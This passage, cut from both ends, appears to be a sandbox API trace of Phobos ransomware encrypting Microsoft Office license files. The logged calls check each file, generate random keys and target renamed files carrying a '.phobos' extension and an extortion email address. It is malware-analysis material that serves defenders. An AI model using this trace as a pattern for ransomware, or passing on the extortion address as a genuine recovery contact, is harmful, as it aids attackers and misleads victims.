office\\root\\licenses16\\o365smallbuspremr_subtrial3-pl.xrm-ms")) returned 0x220 [0152.932] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial3-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.932] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial3-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.932] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.932] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial3-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.932] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=23843) returned 1 [0152.933] CloseHandle (hObject=0x580) returned 1 [0152.933] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial3-ppd.xrm-ms")) returned 0x220 [0152.933] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial3-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.933] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial3-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.933] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.933] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial3-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.933] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11655) returned 1 [0152.933] CloseHandle (hObject=0x580) returned 1 [0152.934] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial3-ul-oob.xrm-ms")) returned 0x220 [0152.934] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial3-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.934] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial3-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.934] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.934] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial4-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.934] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11199) returned 1 [0152.934] CloseHandle (hObject=0x580) returned 1 [0152.936] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial4-pl.xrm-ms")) returned 0x220 [0152.936] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial4-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.936] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial4-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.937] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.937] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial4-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.937] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=23843) returned 1 [0152.937] CloseHandle (hObject=0x580) returned 1 [0152.937] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial4-ppd.xrm-ms")) returned 0x220 [0152.937] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial4-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.938] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial4-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.938] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.938] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial4-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.938] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11655) returned 1 [0152.938] CloseHandle (hObject=0x580) returned 1 [0152.938] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial4-ul-oob.xrm-ms")) returned 0x220 [0152.938] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial4-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.938] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial4-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.939] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.939] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial5-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.939] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11199) returned 1 [0152.939] CloseHandle (hObject=0x580) returned 1 [0152.939] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial5-pl.xrm-ms")) returned 0x220 [0152.939] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial5-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.939] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial5-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.940] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.940] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial5-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.940] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=23843) returned 1 [0152.940] CloseHandle (hObject=0x580) returned 1 [0152.940] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial5-ppd.xrm-ms")) returned 0x220 [0152.940] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial5-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.940] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial5-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.941] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.941] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial5-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.941] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11655) returned 1 [0152.941] CloseHandle (hObject=0x580) returned 1 [0152.941] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial5-ul-oob.xrm-ms")) returned 0x220 [0152.941] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial5-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.941] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial5-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.941] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.942] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotefreer_bypass-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.942] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=10651) returned 1 [0152.942] CloseHandle (hObject=0x580) returned 1 [0152.942] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotefreer_bypass-pl.xrm-ms")) returned 0x220 [0152.942] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotefreer_bypass-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.942] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotefreer_bypass-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.942] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.942] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotefreer_bypass-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.943] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=6060) returned 1 [0152.943] CloseHandle (hObject=0x580) returned 1 [0152.943] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotefreer_bypass-ppd.xrm-ms")) returned 0x220 [0152.943] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotefreer_bypass-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.943] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotefreer_bypass-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.943] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.944] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotefreer_bypass-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.944] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11455) returned 1 [0152.944] CloseHandle (hObject=0x580) returned 1 [0152.944] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotefreer_bypass-ul-oob.xrm-ms")) returned 0x220 [0152.944] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotefreer_bypass-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.944] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotefreer_bypass-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.944] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.944] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_grace-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.945] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=20844) returned 1 [0152.945] CloseHandle (hObject=0x580) returned 1 [0152.945] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_grace-ppd.xrm-ms")) returned 0x220 [0152.945] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Grace-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_grace-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.945] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.945] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.945] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_grace-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.946] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11599) returned 1 [0152.946] CloseHandle (hObject=0x580) returned 1 [0152.946] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_grace-ul-oob.xrm-ms")) returned 0x220 [0152.946] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Grace-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_grace-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.946] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.946] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.946] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_oem_perp-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.947] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=10643) returned 1 [0152.947] CloseHandle (hObject=0x580) returned 1 [0152.947] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_oem_perp-pl.xrm-ms")) returned 0x220 [0152.947] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_oem_perp-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.947] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_oem_perp-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.947] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.947] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.948] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=20904) returned 1 [0152.948] CloseHandle (hObject=0x580) returned 1 [0152.948] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_oem_perp-ppd.xrm-ms")) returned 0x220 [0152.948] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft 